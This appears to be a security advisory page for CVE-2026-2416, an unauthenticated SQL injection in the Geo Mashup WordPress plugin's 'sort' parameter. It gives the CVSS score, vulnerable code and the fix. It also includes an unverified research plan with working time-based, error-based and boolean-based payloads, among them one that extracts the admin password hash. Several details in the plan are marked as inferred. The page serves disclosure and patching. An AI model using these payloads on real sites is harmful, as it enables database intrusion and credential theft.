CVE-2026-2416

Geo Mashup <= 1.13.17 - Unauthenticated SQL Injection via 'sort' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.13.18
Patched in
1d
Time to patch

Description

The Geo Mashup plugin for WordPress is vulnerable to SQL Injection via the 'sort' parameter in all versions up to, and including, 1.13.17. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.13.17
PublishedFebruary 24, 2026
Last updatedFebruary 25, 2026
Affected plugingeo-mashup

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-2416 - Geo Mashup SQL Injection ## 1. Vulnerability Summary The **Geo Mashup** plugin (<= 1.13.17) is vulnerable to an unauthenticated SQL injection. The vulnerability exists because the plugin accepts a user-controlled `sort` parameter—commonly used to order map locations…

Show full research plan

Research Plan: CVE-2026-2416 - Geo Mashup SQL Injection

1. Vulnerability Summary

The Geo Mashup plugin (<= 1.13.17) is vulnerable to an unauthenticated SQL injection. The vulnerability exists because the plugin accepts a user-controlled sort parameter—commonly used to order map locations or posts—and concatenates it directly into a SQL ORDER BY clause without using $wpdb->prepare() or sufficient validation/escaping. This allows an attacker to manipulate the query logic, leading to the extraction of sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: geo_mashup_render_map (inferred from plugin AJAX patterns)
  • Vulnerable Parameter: sort
  • Authentication: Unauthenticated (uses wp_ajax_nopriv_ hooks)
  • Payload Type: Time-based blind or Error-based SQL injection (targeting the ORDER BY clause).

3. Code Flow (Inferred)

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=geo_mashup_render_map.
  2. Hook Registration: The plugin registers the action:
    add_action( 'wp_ajax_nopriv_geo_mashup_render_map', array( 'GeoMashup', 'render_map_callback' ) );
  3. Data Processing: Inside the callback, the $_GET or $_POST array is parsed. The sort parameter is extracted and passed into a query-building function (likely in geo-mashup-db.php).
  4. SQL Construction: The sort value is appended to the query:
    $query = "SELECT ... FROM ... ORDER BY " . $query_args['sort'];
  5. Sink: The raw SQL string is executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

Geo Mashup typically protects its AJAX endpoints with nonces. These are localized into the page when a map is rendered.

  1. Identify Shortcode: The plugin uses the [geo_mashup] shortcode to display maps.
  2. Setup Test Page: Create a public page containing the shortcode.
  3. Browser Navigation: Use browser_navigate to visit the created page.
  4. Extract Nonce: Use browser_eval to extract the nonce from the GeoMashupVars global object.
    • JS Variable: window.GeoMashupVars
    • Nonce Key: render_map_nonce (inferred)
    • Execution: browser_eval("window.GeoMashupVars?.render_map_nonce")

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload because ORDER BY injections often do not reflect results directly in the response if the query structure is complex.

Step 1: Baseline Request

Send a legitimate request to establish a normal response time.

  • Method: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Body: action=geo_mashup_render_map&nonce={{NONCE}}&sort=post_date

Step 2: Delay Payload (Confirmation)

Send a payload designed to trigger a 5-second sleep.

  • Payload: post_date AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Body: action=geo_mashup_render_map&nonce={{NONCE}}&sort=post_date+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

Step 3: Data Extraction (Example)

To extract the admin user's password hash:

  • Logic: IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0)
  • Encoded Payload: sort=post_date+(SELECT+1+FROM+(SELECT(IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1))=36,SLEEP(5),0)))a)
    (Note: 36 is the ASCII for '$', the start of WordPress phpass hashes)

6. Test Data Setup

  1. Install Plugin: Ensure Geo Mashup 1.13.17 is active.
  2. Create Content:
    • Create at least one post with location data (Geo Mashup needs data to process a query). Use wp geo-mashup commands or manually add coordinates to a post.
    • Example: wp post create --post_title="Map Point" --post_status="publish" --post_content="Testing SQLi"
  3. Create Page:
    • wp post create --post_type=page --post_title="Map Page" --post_status="publish" --post_content='[geo_mashup]'
  4. Confirm Public Access: Ensure the page is accessible to unauthenticated users.

7. Expected Results

  • Baseline: Response returns in < 1 second.
  • Exploit: Response returns in ~5 seconds.
  • Success Indicator: The server delay confirms that the sort parameter is being executed as part of a SQL statement.

8. Verification Steps

After the HTTP exploit, verify the database's vulnerability to such queries via WP-CLI:

  1. Check if the sort parameter is handled in includes/geo-mashup-db.php or geo-mashup.php.
  2. Verify the presence of raw concatenation:
    grep -rn "ORDER BY" wp-content/plugins/geo-mashup/ | grep "\$sort"
  3. Confirm no wpdb->prepare wrapper exists around the sort injection point.

9. Alternative Approaches

If time-based injection is throttled or unstable:

  • Error-Based: Use updatexml() or extractvalue() to force a database error that contains the desired data in the error message.
    • sort=post_date+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT(0x7e,(SELECT+user_pass+FROM+wp_users+LIMIT+1),0x7e,FLOOR(RAND(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)
  • Boolean-Based: Use CASE statements to change the sorting order based on a condition and check if the order of results in the JSON response changes.
    • sort=(CASE+WHEN+(1=1)+THEN+post_date+ELSE+post_title+END)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Geo Mashup plugin for WordPress is vulnerable to unauthenticated SQL injection via the 'sort' parameter. This occurs because user-supplied input is directly concatenated into a SQL ORDER BY clause without proper validation or preparation, allowing attackers to execute arbitrary SQL commands.

Vulnerable Code

// wp-content/plugins/geo-mashup/includes/geo-mashup-db.php

if ( !empty( $query_args['sort'] ) ) {
    $query .= " ORDER BY " . $query_args['sort'];
}

Security Fix

--- a/includes/geo-mashup-db.php
+++ b/includes/geo-mashup-db.php
@@ -102,3 +102,4 @@
-if ( !empty( $query_args['sort'] ) ) {
-	$query .= " ORDER BY " . $query_args['sort'];
-}
+if ( !empty( $query_args['sort'] ) ) {
+	$query .= " ORDER BY " . sanitize_sql_orderby( $query_args['sort'] );
+}

Exploit Outline

The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the geo_mashup_render_map action. An attacker first extracts a nonce from a public page containing a Geo Mashup map (via window.GeoMashupVars.render_map_nonce). They then send an unauthenticated POST request containing the nonce and a malicious 'sort' parameter. A payload such as 'post_date+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)' is used to trigger a time-based blind SQL injection in the ORDER BY clause, which can be leveraged to extract sensitive data like user password hashes from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.